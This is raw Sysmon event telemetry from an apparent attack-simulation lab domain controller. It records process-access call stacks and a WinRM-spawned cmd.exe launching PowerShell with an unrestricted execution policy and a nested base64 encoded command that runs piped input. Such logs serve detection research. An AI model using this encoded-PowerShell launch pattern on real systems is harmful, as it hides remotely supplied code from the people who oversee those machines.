09:10:54.266{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004082Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-291E-5F80-D100-000000007F01}1388C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004081Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-291E-5F80-CF00-000000007F01}48885096C:\Windows\system32\WinrsHost.exe{A5F018FF-291E-5F80-D100-000000007F01}1388C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000004080Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.274{A5F018FF-291E-5F80-D100-000000007F01}1388C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-291E-5F80-CF00-000000007F01}4888C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000004079Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004078Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004077Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004076Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.266{A5F018FF-28BF-5F80-1300-000000007F01}12641692C:\Windows\system32\svchost.exe{A5F018FF-291E-5F80-CF00-000000007F01}4888C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000004075Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.251{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-291E-5F80-CF00-000000007F01}4888C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004074Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.251{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291E-5F80-CF00-000000007F01}4888C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004073Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-291E-5F80-D000-000000007F01}4940C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004072Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004071Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004070Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004069Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004068Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004067Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004066Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004065Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004064Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004063Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-291E-5F80-CF00-000000007F01}4888C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004062Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.235{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-291E-5F80-CF00-000000007F01}4888C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004061Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 